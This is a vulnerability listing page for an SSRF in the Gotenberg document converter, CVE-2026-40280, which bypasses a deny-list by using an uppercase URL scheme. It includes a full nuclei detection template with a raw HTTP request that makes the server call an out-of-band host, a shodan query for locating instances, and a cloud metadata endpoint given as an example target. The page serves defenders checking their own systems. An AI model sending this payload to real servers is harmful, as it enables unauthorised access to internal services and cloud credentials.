Browse / CVEs / CVE-2026-40280
CVE-2026-40280· thecodingmachine / gotenberg· CWE-918
Gotenberg <= 8.30.1 - Server Side Request Forgery
Gotenberg is an API-based document conversion tool. In versions 8.30.1 and earlier, the default private-IP deny-lists for the --webhook-deny-list and --api-download-from-deny-list flags use a case-sensitive regular expression (^https?://) to match URL schemes. Because Go's net/url.Parse() normalizes the scheme to lowercase before establishing the outbound TCP connection, an attacker can bypass the deny-list by simply capitalizing part of the URL scheme (e.g., HTTP://, HTTPS://, or Http://). This allows unauthenticated requests to reach internal network services, including private IP ranges, loopback addresses, and cloud instance metadata endpoints such as HTTP://169.254.169.254/latest/meta-data.
Impact
Unauthenticated SSRF via the downloadFrom feature allows reaching internal services, cloud metadata endpoints, and loopback addresses from the Gotenberg server.
Fix
This bypasses the same security control that was patched in CVE-2026-27018. This issue has been fixed in version 8.31.0.
How to confirm it
Send: POST /forms/chromium/convert/html
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "Gotenberg"Run it with nuclei: nuclei -id CVE-2026-40280 -u <target>
The full check
id: CVE-2026-40280
info:
name: Gotenberg <= 8.30.1 - Server Side Request Forgery
author: str4k3r
severity: critical
description: |
Gotenberg is an API-based document conversion tool. In versions 8.30.1 and earlier, the default private-IP deny-lists for the --webhook-deny-list and --api-download-from-deny-list flags use a case-sensitive regular expression (^https?://) to match URL schemes. Because Go's net/url.Parse() normalizes the scheme to lowercase before establishing the outbound TCP connection, an attacker can bypass the deny-list by simply capitalizing part of the URL scheme (e.g., HTTP://, HTTPS://, or Http://). This allows unauthenticated requests to reach internal network services, including private IP ranges, loopback addresses, and cloud instance metadata endpoints such as HTTP://169.254.169.254/latest/meta-data.
impact: |
Unauthenticated SSRF via the downloadFrom feature allows reaching internal services, cloud metadata endpoints, and loopback addresses from the Gotenberg server.
remediation: This bypasses the same security control that was patched in CVE-2026-27018. This issue has been fixed in version 8.31.0.
reference:
- https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5q7p-7jgv-ww56
- https://nvd.nist.gov/vuln/detail/CVE-2026-40280
- https://github.com/gotenberg/gotenberg/commit/3f01ca18d3cc21375a1e2da4b5a3f261c8548e47
classification:
cve-id: CVE-2026-40280
epss-score: 0.0195
epss-percentile: 0.80395
cwe-id: CWE-918
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
cvss-score: 9.3
metadata:
verified: true
max-request: 1
vendor: thecodingmachine
product: gotenberg
shodan-query: http.html:"Gotenberg"
tags: cve,cve2026,gotenberg,ssrf,downloadfrom,oast
http:
- raw:
- |
POST /forms/chromium/convert/html HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----gotenbergProbe
------gotenbergProbe
Content-Disposition: form-data; name="files"; filename="index.html"
Content-Type: text/html
<html><body>ssrf-probe</body></html>
------gotenbergProbe
Content-Disposition: form-data; name="downloadFrom"
[{"url":"HTTP://{{interactsh-url}}"}]
------gotenbergProbe--
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "Gotenberg"References
- https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5q7p-7jgv-ww56
- https://nvd.nist.gov/vuln/detail/CVE-2026-40280
- https://github.com/gotenberg/gotenberg/commit/3f01ca18d3cc21375a1e2da4b5a3f261c8548e47
Use this check only on systems you are authorised to test. Where the data comes from